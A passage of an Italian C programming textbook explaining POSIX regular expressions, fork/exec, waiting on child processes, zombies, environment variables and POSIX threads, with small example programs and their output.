La funzione ***regexec()*** popola il contenuto dell'array di elementi '**`regmatch_t`**', utilizzando il primo elemento (indice 0) per individuare la sottostringa corrispondente all'espressione regolare nel suo complesso, mentre gli elementi successivi riguardano le sottoespressioni eventuali. Pertanto, le sottoespressioni si trovano a partire dall'indice 1 di tale array.

Perché la funzione ***regexec()*** possa estrapolare delle sottostringhe a partire da sottoespressioni, è necessario che l'espressione regolare sia stata compilata senza l'opzione '**`REG_NOSUB`**'. Infatti, tale opzione viene usata per risparmiare risorse quando si sa che non ci si intende avvalere di tale possibilità.

L'esempio seguente mostra un piccolo programma, completo, in cui la funzione ***regex_match()*** si occupa di verificare la corrispondenza con un'espressione regolare e, se c'è corrispondenza, compila anche un array si stringhe con le sottostringhe estratte. Naturalmente, tale array di stringhe deve essere già stato predisposto prima della chiamata della funzione e deve avere una dimensione adeguata a contenere sia la corrispondenza con l'espressione regolare nel suo complesso, sia la corrispondenza con le altre sottoespressioni eventuali. Il file dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-regex-2.c*⟩.

```
#include <stdio.h>
#include <regex.h>

int
regex_match (char *pattern, const char *string,
             size_t sub_size, char **sub)
{
    regmatch_t match[sub_size];
    size_t     n;
    size_t     m;
    size_t     d;
    int        status;
    regex_t    re;
    status = regcomp (&re, pattern, REG_EXTENDED);
    if (status != 0)
      {
        return (status);
      }
    status = regexec (&re, string, sub_size, match, 0);
    if (status == 0)
      {
        for (n=0; n < sub_size; n++)
          {
            for (d = 0, m = match[n].rm_so;
                 m >= 0 && m < match[n].rm_eo;
                 m++, d++)
              {
                sub[n][d] = string[m];
              }
            sub[n][d] = '\0';
          }
      }
    regfree (&re);
    return (status);
}

int
main (void)
{
    int   result;
    char *string       = "Ciao amore mio";
    char *re           = "Ciao (amo)re";
    char  sub0[200];
          sub0[0] = '\0';
    char  sub1[200];
          sub1[0] = '\0';
    char *sub[] = {sub0, sub1};
```

```
    result = regex_match (re, string, 2, sub);

    if (result == 0)
      {
        printf ("Il modello \"%s\" trova corrispondenza ", re);
        printf ("nella stringa \"%s\", precisamente ", string);
        printf ("nella porzione \"%s\", mentre la ", sub[0]);
        printf ("sottostringa estratta è \"%s\".\n", sub[1]);
      }
    else
      {
        printf ("Il modello \"%s\" NON trova corrispondenza ", re);
        printf ("nella stringa \"%s\"\n", string);
      }
    return 0;
}
```

Compilando il programma ed eseguendolo con i dati che si vedono, si ottiene la visualizzazione del testo seguente:

```
Il modello "Ciao (amo)re" trova corrispondenza nella stringa "Ciao
amore mio", precisamente nella porzione "Ciao amore", mentre la
sottostringa estratta è "amo".
```

79.2.6 Informazioni diagnostiche

Le funzioni ***regcomp()*** e ***regexec()*** restituiscono un valore intero che rappresenta l'esito dell'operazione svolta: se è zero l'operazione ha avuto successo, altrimenti c'è un qualche tipo di problema che può essere individuato confrontando tale valore con una serie di macro-variabili prestabilite. Tuttavia, si può ottenere un risultato tradotto in un testo più comprensibile attraverso la funzione ***regerror()***, la quale richiede l'indicazione del numero dell'errore, del puntatore alla variabile strutturata che rappresenta l'espressione regolare a cui si riferisce il problema e le informazioni necessarie a compilare correttamente una stringa con il messaggio appropriato.

```
size_t regerror (int errore, const regex_t *restrict re,
                 char *restrict testo, size_t dimensione);
```

In pratica, il primo parametro è il numero dell'errore o comunque dell'esito dell'operazione svolta, come restituito dalle funzioni ***regcomp()*** e ***regexec()***; il secondo parametro è il puntatore alla variabile strutturata che rappresenta l'espressione regolare a cui si riferisce l'esito in questione; il terzo parametro è un array di tipo '**`char`**', in cui la funzione deve poter scrivere il testo della spiegazione; l'ultimo parametro è la dimensione massima di tale array (oltre la quale la funzione non deve scrivere).

Il valore restituito dalla funzione ***regerror()*** è la dimensione utilizzata effettivamente nell'array per scrivere il testo dell'esito (inclusa la terminazione con il byte a zero).

L'esempio seguente mostra un piccolo programma, completo, ottenuto dalla modifica di quello apparso nella sezione precedente, dove in presenza di un esito non soddisfacente per le funzioni ***regcomp()*** e ***regexec()*** viene visualizzato un messaggio esplicito del problema verificatosi. Il programma richiede volutamente un confronto non corretto per produrre un errore. Il file dovrebbe essere disponibile presso ⟨allegati/c/esempio-posix-regex-3.c⟩.

```
#include <stdio.h>
#include <regex.h>

int
regex_match (char *pattern, const char *string,
             size_t sub_size, char **sub)
{
    const int msg_size = 200;
    char      msg[msg_size];
              msg[0] = '\0';
    //
    regmatch_t match[sub_size];
    size_t     n;
    size_t     m;
    size_t     d;
    int        status;
    regex_t    re;
    status = regcomp (&re, pattern, REG_EXTENDED);
    if (status != 0)
      {
        regerror (status, &re, msg, msg_size);
        fprintf (stderr, "%s\n", msg);
        return (status);
      }
    status = regexec (&re, string, sub_size, match, 0);
    if (status != 0)
      {
        regerror (status, &re, msg, msg_size);
        fprintf (stderr, "%s\n", msg);
      }
    else
      {
        for (n=0; n < sub_size; n++)
          {
            for (d = 0, m = match[n].rm_so;
                 m >= 0 && m < match[n].rm_eo;
                 m++, d++)
              {
                sub[n][d] = string[m];
              }
```

```
            sub[n][d] = '\0';
          }
      }
    regfree (&re);
    return (status);
}

int
main (void)
{
    int   result;
    char *string        = "Ciao amore mio";
    char *re            = "*Ciao (amo)re";
    char  sub0[200];
          sub0[0] = '\0';
    char  sub1[200];
          sub1[0] = '\0';
    char *sub[] = {sub0, sub1};

    result = regex_match (re, string, 2, sub);

    if (result == 0)
      {
        printf ("Il modello \"%s\" trova corrispondenza ", re);
        printf ("nella stringa \"%s\", precisamente ", string);
        printf ("nella porzione \"%s\", mentre la ", sub[0]);
        printf ("sottostringa estratta è \"%s\".\n", sub[1]);
      }
    else
      {
        printf ("Il modello \"%s\" NON trova corrispondenza ", re);
        printf ("nella stringa \"%s\"\n", string);
      }
    return 0;
}
```

L'espressione regolare contiene un errore che consiste nell'uso dell'asterisco all'inizio della stessa. Provando a eseguire il programma si dovrebbe visualizzare il testo seguente:

```
Invalid preceding regular expression
Il modello "*Ciao (amo)re" NON trova corrispondenza nella stringa
"Ciao amore mio"
```

79.2.7 Esempio completo

«

Viene proposta una funzione per semplificare il confronto di una stringa con un'espressione regolare, più completa rispetto a quanto già mostrato negli esempi delle sezioni precedenti. A sua volta la funzione viene mostrata in un programma di prova completo.

```
int regex_match (char *restrict pattern, const char *restrict string,
                 size_t sub_size, char *restrict sub[restrict],
                 int cflags, int eflags, int verbose);
```

Il primo parametro è la stringa che contiene l'espressione regolare; il secondo parametro è la stringa da confrontare con l'espressione; il terzo parametro è la dimensione massima dell'array che costituisce il quarto parametro; il quarto parametro è un array di puntatori a stringhe, di cui però non si conosce l'ampiezza massima; il quinto parametro è un intero che rappresenta le opzioni da usare con la funzione ***regcomp()***; il sesto parametro è un intero che rappresenta le opzioni da usare con la funzione ***regexec()***; l'ultimo parametro, se diverso da zero, richiede la visualizzazione dei messaggi di errore attraverso lo standard error.

La funzione restituisce un valore pari a zero se tutto il procedimento si completa con successo; altrimenti restituisce l'esito prodotto dalla funzione ***regcomp()*** o da ***regexec()***.

Si osservi che all'inizio del programma è possibile definire la macro-variabile '**`restrict`**' come commento. Ciò è necessario se il compilatore non riconosce ancora tale parola chiave nella definizione dei parametri che sono puntatori. Infatti, si tratta di una caratteristica utile solo nei compilatori ottimizzati, in grado di gestire l'elaborazione degli array in modo diverso da quello tradizionale. Il file dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-regex-ok.c* ⟩.

```
#include <stdio.h>
#include <regex.h>
//
// #define restrict /**/
//
//
int
regex_match (char *restrict pattern, const char *restrict string,
             size_t sub_size, char *restrict sub[restrict],
             int cflags, int eflags, int verbose)
{
    const int  msg_size = 200;
    char       msg[msg_size];
    //
    regmatch_t pmatch[sub_size];
    size_t     n;
    size_t     m;
    size_t     d;
    //
    int       status;
    regex_t   re;
```

```
    //
    status = regcomp (&re, pattern, cflags);
    //
    if (status != 0)
      {
        if (verbose)
          {
            regerror (status, &re, msg, msg_size);
            fprintf (stderr, "%s\n", msg);
          }
        return (status);
      }
    //
    status = regexec (&re, string, sub_size, pmatch, eflags);
    //
    if (status != 0)
      {
        if (verbose)
          {
            regerror (status, &re, msg, msg_size);
            fprintf (stderr, "%s\n", msg);
          }
      }
    else
      {
        for (n=0; n < sub_size; n++)
          {
            for (d = 0, m = pmatch[n].rm_so;
                 m >= 0 && m < pmatch[n].rm_eo;
                 m++, d++)
              {
                sub[n][d] = string[m];
              }
            sub[n][d] = '\0';
          }
      }
    //
    regfree (&re);
    //
    return (status);
}
//
//
//
int
main (void)
{
```

```
    int   result;
    char *string       = "Ciao amore mio";
    char *re           = "Ciao (amo)re";
    char  sub0[200];
          sub0[0] = '\0';
    char  sub1[200];
          sub1[0] = '\0';
    char *sub[] = {sub0, sub1};
    //
    result = regex_match (re, string, 2, sub, REG_EXTENDED, 0, 1);
    //
    if (result == 0)
      {
        printf ("Il modello \"%s\" trova corrispondenza ", re);
        printf ("nella stringa \"%s\", precisamente ", string);
        printf ("nella porzione \"%s\", mentre la ", sub[0]);
        printf ("sottostringa estratta è \"%s\".\n", sub[1]);
      }
    else
      {
        printf ("Il modello \"%s\" NON trova corrispondenza ", re);
        printf ("nella stringa \"%s\"\n", string);
      }
    return 0;
}
```

79.3 Avvio e conclusione dei processi

In un sistema Unix, l'avvio di un processo si ottiene attraverso l'uso di due chiamate di sistema: una produce una copia del processo esistente, con la possibilità di distinguere poi tra chi è il genitore e chi è invece il figlio; l'altra carica un processo e lo mette in funzione al posto di quello da cui ha avuto origine. Inizialmente, la questione può sembrare complicata o almeno strana. Se però si ha la possibilità di approfondire il funzionamento basilare di un sistema Unix tradizionale, si scopre che è tutto perfettamente logico e lineare, ovvero, che si tratta della scelta progettuale più semplice che si potesse attuare.

Attorno a questi concetti ci sono poi altre questioni legate ai processi, che è bene introdurre assieme al resto, per avere una visione iniziale relativamente completa.

79.3.1 Biforcazione: «fork»

Attraverso la funzione ***fork()***, definita nel file di intestazione '`unistd.h`', si ottiene la duplicazione del processo elaborativo corrente, associandogli un numero PID differente, diventando questo figlio del processo da cui la chiamata ha avuto origine. Ciò che va chiarito è che il processo ottenuto dalla duplicazione continua a funzionare dal punto in cui si trovava il processo originario, pertanto è dal valore restituito dalla funzione ***fork()*** che si riesce a capire se ci si trova a funzionare come genitore o figlio di quel contesto particolare.

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
//----------------------------------------------------------------------
int
main (void)
{
    pid_t  pid;
    //
    printf ("Io sono il genitore e il mio numero PID è %i.\n",
            (int) getpid ());
    pid = fork ();
    if (pid == 0)
      {
        printf ("Io sono il figlio della biforcazione e il mio "
                "genitore ha il numero PID %i.\n", (int) getppid ());
        exit (0);
      }
    else
      {
        printf ("Ho avviato una biforcazione di me stesso, la quale "
                "ha ottenuto il numero PID %i.\n", pid);
      }
    return (0);
}
```

Il listato mostra un esempio completo di programma che avvia una biforcazione di se stesso. La funzione ***fork()*** viene usata senza argomenti e restituisce un numero PID: se questo è diverso da zero, significa che si tratta dell'esecuzione del processo genitore; se invece è zero, è in corso l'esecuzione del processo duplicato. Nell'esempio si fa uso delle funzioni ***getpid()*** e di ***getppid()***, per ottenere, rispettivamente il numero del processo in corso e quello del processo genitore.

Come si può osservare, nell'esempio il processo figlio ha vita breve, perché si limita a dichiarare la propria esistenza, quindi chiama la funzione ***exit()*** per concludere esplicitamente la propria attività.

Il risultato dell'esecuzione di questo programma potrebbe essere costituito dai messaggi seguenti:

```
Io sono il genitore e il mio numero PID è 5531.
Io sono il figlio della biforcazione e il mio genitore ha il ↩
↪numero PID 5531.
Ho avviato una biforcazione di me stesso, la quale ha ↩
↪ottenuto il numero PID 5532.
```

Il processo ottenuto dalla biforcazione è sostanzialmente uguale a quello del genitore (a parte la distinzione del numero PID e della gerarchia genitore-figlio); tuttavia, le differenze emergono in base al livello di complessità del programma in questione. Pertanto, è sempre bene accertarsi

nel dettaglio di cosa erediti il processo figlio, dalla pagina di manuale *fork(2)*, quando si vuole usare questa funzione.

Le cose essenziali da sapere riguardano principalmente i file aperti e i *thread*, ovvero i flussi elaborativi. La biforcazione produce la duplicazione dei file aperti nel nuovo processo, condividendo però l'indice che rappresenta la posizione corrente. In tal modo, le operazioni di lettura e scrittura sui file possono svolgersi in modo coordinato: uno legge fino a un certo punto, l'altro legge da lì fino a un'altra posizione, e lo stesso vale per la scrittura. La biforcazione produce un solo *thread* nel processo figlio, costituito precisamente da quello che ha chiamato la funzione ***fork()***.

79.3.2 Sostituzione: «exec»

Un gruppo di funzioni, contraddistinte dal prefisso '**`exec`**', consente di rimpiazzare il processo corrente con un altro, caricando un programma. Rimpiazzare il processo corrente significa che questo si conclude e, da quel punto, dovrebbe iniziare a funzionare un altro programma dall'inizio.

In condizioni normali, un processo che voglia avviare un programma, esegue prima una biforcazione, quindi, nel codice che riguarda il processo figlio esegue una funzione ***exec...()***, con cui quel figlio viene rimpiazzato con il nuovo programma.

Nell'esempio successivo viene mostrato l'uso della funzione ***execl()***, con la quale si indica il percorso del programma da avviare, seguito dagli argomenti da dare a questo, tenendo conto che il primo deve corrispondere al nome del programma stesso e che l'ultimo deve essere un puntatore a carattere nullo:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
//----------------------------------------------------------------------
int
main (void)
{
    pid_t  pid;
    int    status;
    //
    pid = fork ();
    if (pid == 0)
      {
        status = execl ("./prog", "prog", (char *) NULL);
        perror (NULL);
        exit (0);
      }
    return (0);
}
```

Se il programma '**`prog`**' viene avviato correttamente dalla directory corrente, come indicato nel percorso di avvio, la funzione ***execl()*** «non ritorna», nel senso che il processo che la avvia scompare. Se invece si verifica un errore, la funzione restituisce il valore −1 e l'esecuzione del processo originario prosegue. In questo caso, si usa la funzione ***perror()*** per visualiz-

zare l'errore annotato nella variabile ***errno***, quindi la funzione ***exit()*** conclude comunque il funzionamento del processo.

79.3.3 Attesa della conclusione di un processo figlio

Quando un processo esegue una biforcazione, dalla quale poi si può passare all'esecuzione di un altro programma o meno, ci può essere la necessità di attendere che il processo figlio termini il suo funzionamento. Per fare questo si usa normalmente la funzione ***wait()***, oppure ***waitpid()*** con argomenti appropriati.

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
//----------------------------------------------------------------------
int
main (void)
{
    pid_t  pid_child;
    pid_t  pid_dead;
    int    status;
    //
    pid_child = fork ();
    if (pid_child == 0)
      {
        sleep (1);
        printf ("ciao!\n");
        exit (7);
      }
    printf ("Ho avviato il processo %i.\n", pid_child);
    //
    pid_dead = wait (&status);
    //
    printf ("Il processo %i si è concluso restituendo il valore %x.\n",
            pid_dead, WEXITSTATUS (status));
    //
    return (0);
}
```

L'esempio mostra l'avvio di un processo figlio, in cui, dopo una pausa di un secondo si visualizza un messaggio e quindi quel processo termina restituendo il valore 7. Il processo genitore mostra subito un messaggio in cui dichiara il numero PID del figlio, quindi si mette in attesa della sua conclusione. Il valore restituito dal processo figlio confluisce nella variabile ***status***, ma deve essere interpretato attraverso la macro-istruzione ***WEXITSTATUS()***. Il risultato prodotto a video dal programma di esempio mostrato è molto simile al testo seguente:

```
Ho avviato il processo 6138.
ciao!
Il processo 6138 si è concluso restituendo il valore 7.
```

79.3.4 Adozione dei processi

I sistemi Unix e di conseguenza lo standard POSIX, seguono una convenzione nella numerazione dei processi: il kernel è il processo zero ed è implicito; il processo numero uno è '**`init`**' (o altro in situazioni particolari) e ha il compito di essere quello che genera tutti gli altri.

Quando un processo termina di funzionare, i suoi processi figli vengono affidati a '**`init`**' (o comunque a quel processo che si trova ad avere il numero uno).

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
//----------------------------------------------------------------------
int
main (void)
{
    pid_t  pid;
    //
    pid = fork ();
    if (pid == 0)
      {
        printf ("Io sono il figlio della biforcazione e il mio "
                "genitore ha il numero PID %i.\n", (int) getppid ());
        sleep (2);
        printf ("Sono passati due secondi e il mio genitore ha il "
                "numero PID %i.\n", (int) getppid ());
        exit (0);
      }
    else
      {
        printf ("Io sono il processo %i e ho avviato una biforcazione "
                "di me stesso, la quale ha ottenuto il numero PID %i, "
                "ma adesso concludo il mio funzionamento.\n",
                (int) getpid (), pid);
      }
    return (0);
}
```

L'esempio appena mostrato dovrebbe chiarire questo fatto: quando il processo figlio ha superato l'attesa di due secondi, il suo genitore ha già smesso di funzionare, e in quel momento è già stato adottato dal processo numero uno. I messaggi prodotti dal programma sono come quelli seguenti:

```
Io sono il processo 6602 e ho avviato una biforcazione di ↩
↪me stesso, la quale ha ottenuto il numero PID 6603, ↩
↪ma adesso concludo il mio funzionamento.
Io sono il figlio della biforcazione e il mio genitore ha ↩
↪il numero PID 6602.
Sono passati due secondi e il mio genitore ha il numero PID 1.
```

79.3.5 Gli zombie

Quando un processo elaborativo conclude il suo funzionamento, per qualunque motivo e in qualunque modo sia, si presume che debba restituire un valore al proprio genitore. Come descritto in precedenza, la funzione ***wait()*** consente a un genitore di recepire la conclusione di un suo processo figlio, ottenendo anche il valore restituito. Tuttavia, non è detto che un genitore sia sempre lì pronto a recepire la conclusione di un proprio figlio, pertanto, i processi conclusi continuano a rimanere annotati nel sistema, fino a quando le loro informazioni devono rimanere disponibili. Un processo concluso, ma in attesa di essere eliminato, è noto come «zombie».

La conclusione di un processo produce automaticamente l'invio di un segnale '**`SIGCHLD`**' al genitore. Questo segnale, in particolare, se non viene intercettato, produce l'eliminazione dei processi figli defunti. Tuttavia potrebbe essere utilizzato da un genitore per intervenire contestualmente e recepire la conclusione di un processo figlio, senza rimanere in attesa con la funzione ***wait()*** per questo, come nell'esempio seguente:

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <signal.h>
//----------------------------------------------------------------------
void signal_handler (int signal)
{
    int   status;
    pid_t pid;
    if (signal == SIGCHLD)
      {
        pid = wait (&status);
        printf ("Il processo %i si è concluso restituendo il valore "
                "%x.\n", pid, WEXITSTATUS (status));
      }
}
//----------------------------------------------------------------------
int
main (void)
{
    pid_t  pid;
    //
    signal (SIGCHLD, signal_handler);
    //
    pid = fork ();
```

```
    if (pid == 0)
      {
        sleep (1);
        printf ("ciao!\n");
        exit (7);
      }
    printf ("Ho avviato il processo %i.\n", pid);
    //
    sleep (60);
    //
    return (0);
}
```

Come già chiarito, quando un processo muore, i suoi figli vengono adottati automaticamente da '**init**', o comunque dal processo numero uno. In questa circostanza, però, '**init**' riceve anche il segnale '**SIGCHLD**', perché i processi adottati potrebbero trovarsi già nello stato di «zombie», ovvero in attesa di essere considerati per poter morire definitivamente.

79.3.6 Variabili di ambiente

Una caratteristica dei programmi di un sistema Unix, e quindi POSIX, è la disponibilità di quelle che sono note come variabili di ambiente. Va osservato che questo concetto non è presente nel linguaggio C puro e semplice; inoltre, per la stessa ragione, il prototipo della funzione ***main()*** diventa più articolato rispetto a quello di un programma C comune:

```
int main (int argc, char *argv[], char *envp[]);
```

I parametri ***argc*** e ***argv[]*** sono gli stessi, già conosciuti nel linguaggio C, con l'accortezza di avere l'elemento ***argv[argc]*** pari al puntatore nullo ('**NULL**'). Il parametro ***envp[]*** è inteso come un array di stringhe, il cui contenuto deve avere la forma '***nome*=*valore***' e l'ultimo elemento, anche in questo caso, deve essere un puntatore nullo (per poter riconoscere la sua conclusione).

In pratica, l'array ***envp[]*** diventa il veicolo per le variabili di ambiente da fornire al programma che si vuole avviare.

Ma la questione non si esaurisce così, perché per motivi storici l'array di stringhe che descrivono le variabili di ambiente è accessibile anche attraverso una variabile globale (esterna), denominata ***environ***. In tal modo, anche se la funzione ***main()*** non fosse provvista del parametro ***envp[]***, sarebbe comunque possibile accedere alle stringhe delle variabili di ambiente.

```
extern char **environ;
```

Per leggere e modificare ciò che rappresenta le variabili di ambiente, si usano poi delle funzioni apposite, i cui prototipi appaiono nel file di intestazione '`stdlib.h`'. Queste funzioni hanno in comune un nome terminante per «env», come ***setenv()***, ***unsetenv()*** e ***putenv()***.

79.3.7 Variabili di ambiente e avvio di un programma

Quando si avvia un nuovo programma, attraverso una delle funzioni ***exec...()***, questo ottiene un insieme di variabili di ambiente, ereditandole dal processo originario (che viene rimpiazzato), oppure attraverso una dichiarazione esplicita. Ciò dipende da quale funzione ***exec...()*** viene usata effettivamente. La funzione da cui poi hanno origine le altre della famiglia ***exec...()*** è ***execve()***:

```
int execve (const char *path, char *const argv[], char *const envp[]);
```

Logicamente, il primo parametro (***path***) rappresenta il percorso del programma da avviare, mentre gli altri due corrispondono agli array di stringhe che di norma hanno lo stesso nome nel prototipo della funzione ***main()***.

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
//----------------------------------------------------------------------
int
main (int argc, char *argv[], char *envp[])
{
    pid_t  pid;
    char   *exec_argv[3];
    char   *exec_envp[3];
    //
    exec_envp[0] = "PATH=/bin:/usr/bin:/sbin:/usr/sbin";
    exec_envp[1] = "CONSOLE=/dev/console";
    exec_envp[2] = NULL;
    //
    exec_argv[0] = "./mio_prog";
    exec_argv[1] = "-x";
    exec_argv[2] = NULL;
    //
    pid = fork ();
    if (pid == 0)
      {
        execve (exec_argv[0], exec_argv, exec_envp);
        perror (NULL);
        exit (1);
      }
    return (0);
}
```

L'esempio mostra la costruzione degli array contenenti le variabili di ambiente e gli argomenti del programma da avviare.

79.4 Nozioni sui thread POSIX

Un programma comune si traduce solitamente in un solo flusso di controllo (o flusso elaborativo), ovvero in un solo ***thread***, nel senso che il procedimento esecutivo è unico, dall'avvio alla conclusione del processo. Un programma più sofisticato, potrebbe gestire gli stessi dati attraverso più flussi di controllo concorrenti e in tal caso si dice che questo utilizza più thread. Pertanto, non va confuso il concetto di processo elaborativo con il flusso di controllo o thread, perché i thread di un processo condividono la stessa memoria, mentre i processi elaborativi, tra di loro, hanno aree di memoria indipendenti.

Il termine inglese thread si traduce letteralmente come «filetto», pertanto viene rappresentato frequentemente in questo modo.

processo elaborativo
a thread singolo

processo elaborativo
con più thread simultanei

La simultaneità di esecuzione dei thread può essere simulata, attraverso la suddivisione del tempo di CPU, oppure può essere anche reale, quando l'elaboratore dispone di più CPU. Tuttavia anche quando si dispone di una sola CPU, l'organizzazione corretta di un programma in più thread può migliorarne le prestazioni.

Lo standard POSIX definisce alcune funzioni per la gestione dei thread, per le quali è necessario includere il file di intestazione '**`pthread.h`**' (dove la «p» sta per «POSIX»).

In un sistema GNU, o comunque quando si utilizza il compilatore GCC con la libreria dei sistemi GNU, per l'utilizzo delle funzioni che consentono di gestire i thread POSIX, è necessario includere esplicitamente la libreria '**`pthread`**', con l'opzione '**`-lpthread`**'. In pratica, per compilare gli esempi di questo capitolo si usano comandi del tipo:

`$` **`cc -Wall -lpthread -o`** ***file_eseguibile file_sorgente_c*** [*Invio*]

79.4.1 Numero identificativo del thread

Ogni thread ha un proprio numero identificativo, rappresentato attraverso un tipo di dati apposito, denominato '**`pthread_t`**'. Quando si crea un thread occorre fare riferimento a una variabile di tipo '**`pthread_t`**', in modo tale che questa sia aggiornata con il numero corretto; successivamente, per ricondurre un thread al flusso principale del processo elaborativo, si utilizza nuovamente quel numero per poterlo individuare.

L'esempio seguente crea la variabile scalare ***mio_thread***, per annotare il numero di un thread:

```
pthread_t mio_thread;
```

L'esempio successivo, invece, predispone l'array ***miei_thread[]*** per annotare il numero di identificazione di un massimo di cinque thread:

```
pthread_t miei_thread[5];
```

79.4.2 Creazione e conclusione di un thread aggiuntivo

Un programma ha sempre almeno un thread, ovvero quello principale, la cui creazione è implicita. Tutti gli altri thread che si vogliono gestire vanno creati appositamente: si tratta di fare in modo che una certa funzione sia eseguita senza attenderne la sua conclusione. Ma a un certo punto del flusso principale del programma, è necessario formalizzare la conclusione dei thread aggiuntivi (e se non sono ancora terminati occorre attendere che lo siano effettivamente).

79.4.3 Caratteristiche della funzione che costituisce un thread aggiuntivo

La creazione di un nuovo thread coincide con l'avvio di una funzione senza attendere la sua conclusione. Tale funzione deve però avere una forma precisa: riceve esattamente un argomento, costituito da un puntatore indefinito ('**`void *`**'), e restituisce un valore, costituito da un puntatore indefinito.

```
void *funzione (void *arg);
```

In pratica, per passare degli argomenti a una funzione di questo tipo, si predispone una struttura con tutto ciò che serve e se ne passa il puntatore; d'altro canto, la funzione deve essere in grado di estrapolare i dati dalla struttura. Come si comprende, tale funzione ha anche difficoltà a

restituire un valore, perché può solo produrre un puntatore a qualcosa che deve risultare già definito prima della sua chiamata.

Per comprendere la cosa viene proposto un programma estremamente banale, in cui la funzione ***function()*** si limita a mostrare ripetutamente un certo carattere, in base ai dati forniti attraverso il riferimento a una struttura:

```
#include <stdio.h>

struct Arguments {
    char x;
    int  max;
};

void *
function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    for (i = 0; i < arg->max; i++)
      {
        printf ("%c", arg->x);
      }
    return NULL;
}

int
main (void)
{
    struct Arguments arg = {'x', 10};
    function (&arg);
    printf ("\n");
    return (0);
}
```

Come si vede, la funzione deve sapere come si articola la struttura, per poter accedere ai dati che questa contiene. Generalmente, come nel caso dell'esempio, in una funzione di questo tipo non si restituisce alcunché.

79.4.4 Avvio di thread separati e fusione successiva

Per comprendere il meccanismo di avvio di un thread separato e della sua fusione successiva, viene proposto un esempio molto semplice, con cui si mostrano solo i passaggi indispensabili. Per la precisione, oltre al flusso principale, vengono avviati tre thread ulteriori, attraverso la stessa funzione. Nell'esempio, la funzione usata per avviare i thread, riceve gli argomenti tramite una struttura articolata nello stesso modo già visto nella sezione precedente. Il file dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-thread-1.c* ⟩.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

struct Arguments {
    char x;
    int  max;
};

void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 10);

    for (i = 0; i < (arg->max * m); i++)
      {
        if ((i % m) == 0)
          {
            printf ("%c", arg->x);
            fflush (stdout);
          }
      }
    return NULL;
}

int
main (void)
{
    pthread_t pthread_1;
    pthread_t pthread_2;
    pthread_t pthread_3;

    struct Arguments arg_1 = {'a', 12};
    struct Arguments arg_2 = {'b',  6};
    struct Arguments arg_3 = {'c',  3};

    int status_1;
    int status_2;
    int status_3;

    srand (1234567);

    status_3 = pthread_create (&pthread_3, NULL, pthread_function, &arg_3);
    status_2 = pthread_create (&pthread_2, NULL, pthread_function, &arg_2);
    status_1 = pthread_create (&pthread_1, NULL, pthread_function, &arg_1);

    if ((status_1 + status_2 + status_3) != 0)
```

```
        {
          fprintf (stderr, "Errore nella creazione dei \"thread\"!\n");
          abort ();
        }

    status_1 = pthread_join (pthread_1, NULL);
    status_2 = pthread_join (pthread_2, NULL);
    status_3 = pthread_join (pthread_3, NULL);

    if ((status_1 + status_2 + status_3) != 0)
      {
        fprintf (stderr, "Errore nella fusione dei \"thread\"!\n");
        abort ();
      }

    return (0);
}
```

All'inizio della funzione ***main()*** si può vedere la dichiarazione di tre variabili di tipo '**pthread_t**', ognuna delle quali viene usata per annotare un numero di identificazione di un thread. Con la chiamata alla funzione ***pthread_create()*** vengono avviati i thread, indicando il riferimento alla variabile da usare per annotare il thread rispettivo, il riferimento alla funzione da avviare e il riferimento alla struttura contenente gli argomenti per tale funzione. Il prototipo seguente è semplificato, per facilitarne la lettura:

```
int pthread_create (pthread_t *tid, pthread_attr_t *attr,
                    void *(*funzione) (void *), void *argomenti);
```

Generalmente, si usa la funzione ***pthread_create()*** senza specificare attributi particolari per il thread che si vuole creare, pertanto si utilizza semplicemente come secondo argomento il valore '**NULL**'.

La funzione ***pthread_create()*** restituisce un valore intero, dove lo zero manifesta il successo dell'operazione, mentre un valore differente indica un problema, decodificabile attraverso il confronto con delle macro-variabili prestabilite. La funzione che avvia il thread fornisce il numero dello stesso modificando il contenuto della variabile a cui si riferisce il puntatore fornito come primo argomento.

Una volta accertato che i thread sono stati creati con successo (diversamente il programma termina di funzionare, attraverso la chiamata della funzione ***abort()***), non essendoci altro da fare in questo esempio, viene richiesto di attendere la loro conclusione, attraverso la chiamata della funzione ***pthread_join()***. Tale funzione richiede di indicare il numero del thread di cui si vuole attendere la conclusione, oltre a un puntatore, utile per raggiungere il valore che potrebbe essere restituito dalla funzione che costituiva il thread.

```
int pthread_join (pthread_t tid, void **valore);
```

In pratica, la funzione ***pthread_join()*** sospende l'esecuzione del flusso principale, fino a quando il thread individuato dal numero fornito come primo argomento si conclude (si osservi che in questo caso il numero del thread viene fornito come valore e non più come puntatore). Se il thread non deve produrre alcun risultato utile, il secondo argomento di ***pthread_join()*** può essere il valore nullo ('**`NULL`**'), altrimenti si deve indicare un puntatore generico, a una variabile che contiene a sua volta un puntatore: tale variabile deve essere quella usata dalla funzione che costituiva il thread per porvi al suo interno il puntatore al risultato dell'elaborazione.

La funzione ***pthread_join()*** restituisce un valore intero, dove lo zero indica il successo dell'operazione, mentre un valore diverso rappresenta un problema, individuabile attraverso il confronto con delle macro-variabili prestabilite.

Il programma di esempio, dopo la fusione dei thread e dopo il controllo dell'esito di tale fusione, si conclude semplicemente. Va osservato che la fusione dei thread è necessaria anche in questo caso, perché il programma non può concludersi (attraverso la fine del flusso principale) prima che tutti i thread accessori siano stati fusi.

La funzione utilizzata per i thread dell'esempio, ovvero ***pthread_function()***, trova un numero casuale abbastanza grande e lo usa per eseguire un ciclo per un numero molto elevato di volte. Al primo ciclo, e poi anche ogni volta che l'indice del ciclo risulta divisibile per il numero casuale trovato, mostra una lettera sullo schermo. A questo proposito, va osservato l'uso della funzione ***fflush()*** per garantire che la lettera emessa attraverso lo standard output venga visualizzata subito, senza rimanere in attesa nella memoria tampone.

